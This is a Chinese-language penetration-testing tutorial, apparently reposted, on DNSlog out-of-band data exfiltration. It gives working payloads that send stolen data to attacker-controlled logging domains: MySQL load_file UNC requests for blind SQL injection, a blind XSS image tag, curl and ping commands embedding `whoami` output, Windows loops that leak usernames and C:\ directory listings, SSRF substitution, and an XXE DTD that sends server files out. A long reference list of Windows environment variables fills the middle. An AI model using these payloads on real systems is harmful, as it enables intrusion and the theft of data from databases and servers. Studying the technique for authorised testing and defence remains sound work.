DNSlog注入


原理:

 

首先需要有一個可以配置的域名,比如:ceye.io,然后通過代理商設置域名 ceye.io nameserver 為自己的服務器 A,然后再服務器 A 上配置好 DNS Server,這樣以來所有 ceye.io 及其子域名的查詢都會到 服務器 A 上,這時就能夠實時地監控域名查詢請求了,圖示如下。

 

 

 

 

DNS在解析的時候會留下日志,咱們這個就是讀取多級域名的解析日志,來獲取信息
簡單來說就是把信息放在高級域名中,傳遞到自己這,然后讀取日志,獲取信息

 

利用場景:

sql注入時為布爾盲注、時間盲注,注入的效率低且線程高容易被waf攔截,又或者是目標站點沒有回顯,我們在讀取文件、執行命令注入等操作時無法明顯的確認是否利用成功,這時候就要用到我們的DNSlog注入。

 

 

 

 

推薦平台:

http://www.dnslog.cn

http://admin.dnslog.link

http://ceye.io

 

當然你可以根據開源源碼自己搭建dnslog服務器,這里貼上BugScan團隊開源源碼

https://github.com/BugScanTeam/DNSLog

 

 

 

 

 

這里我就拿ceye.io平台 注冊演示。

 

 

 

 

他會給你一個三級域名,你把信息寫在第四級域名上就好了比如我這里訪問secquan.xxxx.cece.io ,訪問之后就會有查詢記錄。

 

 

 

 

 

 

 

A)利用一:sql注入

不論是bool型盲注還是時間型盲注,都需要頻繁的跑請求才能夠獲取數據庫中的值,在現代WAF的防護下,很可能導致IP被ban。我們可以結合DNSLOG完美快速的將數據取出。如遇到MySql的盲注時,可以利用內置函數load_file()來完成DNSLOG。load_file()不僅能夠加載本地文件,同時也能對諸如\\www.test.com這樣的URL發起請求。

show variables like '%secure%';查看load_file()可以讀取的磁盤。

1、當secure_file_priv為空,就可以讀取磁盤的目錄。

2、當secure_file_privG:\,就可以讀取G盤的文件。

3、當secure_file_privnullload_file就不能加載文件。

  

通過設置my.ini來配置。secure_file_priv=""就是可以load_flie任意磁盤的文件。

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

mysql命令行執行:select load_file('\\\\afanti.xxxx.ceye.io\\aaa');其中afanti就是要注入的查詢語句

查看平台,dnsLog被記錄下來。

 

 

 

 

 

 

 

 

PS:稍微解釋一下這個語句,這里使用concat函數將(select database())得到的內容作為查詢url的一部分,和我們的平台三級域名拼接組合成一個四級域名,而load_file函數會通過dns解析請求,所以我們在dnslog平台就可以看到查詢的記錄(包含着我們注入出的數據)

 

 

 

 

 

對於表段,由於load_file()一次只能傳輸一條數據,所以查詢的時候需要使用limit來一個一個的解析。

 

 

 

 

 

 

 

 

B) 利用二:XSS跨站

通過盲打,讓觸發者瀏覽器訪問預設至的鏈接地址,如果盲打成功,會在平台上收到如下的鏈接訪問記錄:

payload:><img src=http://xss.xxxx.ceye.io/aaa>src請求我們的dnslog平台

 

 

 

 

 

C) 利用三:命令執行

 

針對不回顯的命令注入漏洞,我們很難確定漏洞的存在並進一步利用,針對這種情況,我們可以利用DNSLOG來獲取命令的執行結果。

 

*nix
curl http://haha.xxx.ceye.io/`whoami`

 

 ping `whoami`.xxxx.ceye.io

Windows
ping %USERNAME%.xxx.ceye.io

 

 

 

 

這里的%username%為用戶變量

附上windows常用變量

%APPDATA% :  列出應用程序數據的默認存放位置。

%CD% :  列出當前目錄。

%CLIENTNAME% :  列出聯接到終端服務會話時客戶端的NETBIOS名。

%CMDCMDLINE% :  列出啟動當前cmd.exe所使用的命令行。

%CMDEXTVERSION% :  命令出當前命令處理程序擴展版本號。

%CommonProgramFiles% :  列出了常用文件的文件夾路徑。

%COMPUTERNAME% :  列出了計算機名。 

%COMSPEC% :  列出了可執行命令外殼(命令處理程序)的路徑。

%DATE% :  列出當前日期。

%ERRORLEVEL% :  列出了最近使用的命令的錯誤代碼。

%HOMEDRIVE% :  列出與用戶主目錄所在的驅動器盤符。

%HOMEPATH% :  列出用戶主目錄的完整路徑。

%HOMESHARE% :  列出用戶共享主目錄的網絡路徑。

%LOGONSEVER% :  列出有效的當前登錄會話的域名控制器名。

%NUMBER_OF_PROCESSORS% :  列出了計算機安裝的處理器數。

%OS% :  列出操作系統的名字。(Windows XP 和 Windows 2000 列為 Windows_NT.)

%Path% :  列出了可執行文件的搜索路徑。

%PATHEXT% :  列出操作系統認為可被執行的文件擴展名。 

%PROCESSOR_ARCHITECTURE% :  列出了處理器的芯片架構。

%PROCESSOR_IDENTFIER% :  列出了處理器的描述。

%PROCESSOR_LEVEL% :  列出了計算機的處理器的型號。 

%PROCESSOR_REVISION% :  列出了處理器的修訂號。

%ProgramFiles% :  列出了Program Files文件夾的路徑。

%PROMPT% :  列出了當前命令解釋器的命令提示設置。

%RANDOM% :  列出界於0 和 32767之間的隨機十進制數。

%SESSIONNAME% :  列出連接到終端服務會話時的連接和會話名。

%SYSTEMDRIVE% :  列出了Windows啟動目錄所在驅動器。

%SYSTEMROOT% :  列出了Windows啟動目錄的位置。

%TEMP% and %TMP% :  列出了當前登錄的用戶可用應用程序的默認臨時目錄。

%TIME% :  列出當前時間。

%USERDOMAIN% :  列出了包含用戶帳號的域的名字。

%USERNAME% :  列出當前登錄的用戶的名字。

%USERPROFILE% :  列出當前用戶Profile文件位置。

%WINDIR% :  列出操作系統目錄的位置。 

[/size][/align][align=left][size=3]變量 類型 描述 

%ALLUSERSPROFILE% 本地 返回“所有用戶”配置文件的位置。 

%APPDATA% 本地 返回默認情況下應用程序存儲數據的位置。 

%CD% 本地 返回當前目錄字符串。 

%CMDCMDLINE% 本地 返回用來啟動當前的 Cmd.exe 的准確命令行。 

%CMDEXTVERSION% 系統 返回當前的“命令處理程序擴展”的版本號。 

%COMPUTERNAME%  系統 返回計算機的名稱。 

%COMSPEC%  系統 返回命令行解釋器可執行程序的准確路徑。 

%DATE%  系統 返回當前日期。使用與 date /t 命令相同的格式。由 Cmd.exe 生成。有關 date 命令的詳細信息,請參閱 Date。 

%ERRORLEVEL%  系統 返回上一條命令的錯誤代碼。通常用非零值表示錯誤。 

%HOMEDRIVE%  系統 返回連接到用戶主目錄的本地工作站驅動器號。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。 

%HOMEPATH%  系統 返回用戶主目錄的完整路徑。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。 

%HOMESHARE%  系統 返回用戶的共享主目錄的網絡路徑。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。 

%LOGONSERVER%  本地 返回驗證當前登錄會話的域控制器的名稱。 

%NUMBER_OF_PROCESSORS%  系統 指定安裝在計算機上的處理器的數目。 

%OS%  系統 返回操作系統名稱。Windows 2000 顯示其操作系統為 Windows_NT。 

%PATH% 系統 指定可執行文件的搜索路徑。 

%PATHEXT% 系統 返回操作系統認為可執行的文件擴展名的列表。 

%PROCESSOR_ARCHITECTURE%  系統 返回處理器的芯片體系結構。值:x86 或 IA64(基於 Itanium)。 

%PROCESSOR_IDENTFIER% 系統 返回處理器說明。 

%PROCESSOR_LEVEL%  系統 返回計算機上安裝的處理器的型號。 

%PROCESSOR_REVISION% 系統 返回處理器的版本號。 

%PROMPT% 本地 返回當前解釋程序的命令提示符設置。由 Cmd.exe 生成。 

%RANDOM% 系統 返回 0 到 32767 之間的任意十進制數字。由 Cmd.exe 生成。 

%SYSTEMDRIVE% 系統 返回包含 Windows server operating system 根目錄(即系統根目錄)的驅動器。 

%SYSTEMROOT%  系統 返回 Windows server operating system 根目錄的位置。 

%TEMP% 和 %TMP% 系統和用戶 返回對當前登錄用戶可用的應用程序所使用的默認臨時目錄。有些應用程序需要 TEMP,而其他應用程序則需要 TMP。 

%TIME% 系統 返回當前時間。使用與 time /t 命令相同的格式。由 Cmd.exe 生成。有關 time 命令的詳細信息,請參閱 Time。 

%USERDOMAIN% 本地 返回包含用戶帳戶的域的名稱。 

%USERNAME% 本地 返回當前登錄的用戶的名稱。 

%USERPROFILE% 本地 返回當前用戶的配置文件的位置。 

%WINDIR% 系統 返回操作系統目錄的位置。

 

%allusersprofile%--------------------所有用戶的profile路徑

 

%Userprofile%-----------------------當前用戶的配置文件目錄

 

%Appdata%--------------------------當前用戶的應用程序路徑

 

%commonprogramfiles%-------------應用程序公用的文件路徑

 

%homedrive%------------------------當前用戶的主盤

 

%Homepath%------------------------當前用戶的主目錄

 

%programfiles%----------------------應用程序的默認安裝目錄

 

%systemdrive%----------------------系統所在的盤符

 

%systemroot%-----------------------系統所在的目錄

 

%windir%----------------------------同上,總是跟systemroot一樣

 

%tmp%------------------------------當前用戶的臨時目錄

 

%temp%-----------------------------同上臨時目錄

 

 

 

 

Windows還可以有這些姿勢

利用HTTP請求將結果使用默認瀏覽器彈出:

for /F %x in ('whoami') do start http://xxx.dnslog.link/%x

利用DNS請求獲取計算機名、用戶名:

獲取計算機名:for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.link

獲取用戶名:for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.link

探測目錄文件列表,由於dir有/b參數,不顯示修改日期等信息,只顯示文件名,所以可以彈出:

for /F %x in ('dir /b C:\') do start http://xxx.dnslog.link/[%x].jpg

 

 

 

 

 

 

 

為了防止內容不適合作為域名的一部分,我們也可以base64編碼后再進行請求。

比如我們在kali下使用curl請求。這里將\n換行換成了-

 

 

 

 

 

 

解碼看看  明顯看到我們ifconfig命令的回顯。

 

 

 

 

 

 

 

D)用四:SSRF

 

這個沒什么好說的,直接上payload,我們直接將ssrf中地址換成我們的dnslog平台

 

比如原本我們利用的是url=127.0.0.1:8080

利用dnslog就換成 url=xxx.cece.io

然后看我們的dnslog平台是否有服務器的IP來判斷。

 

 

 

 

 

 

 

 

E)用五:XXE

當我們遇到XXE,如果這個XXE漏洞可以解析外部實體,那么不用說,就可以拿來讀取本地服務器文件,這時,我們只需把dtd文件改成這樣

<!ENTITY % all

"<!ENTITY % send SYSTEM 'http://xxxx.ceye.io/%file;'>"

>

%all;

    在我們的ceye平台就可以接收到這個讀取的服務器文件了。

 

 

 

 

最后的最后,關於dnslog利用的腳本自動化

https://github.com/ADOOO/DnslogSqlinj

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM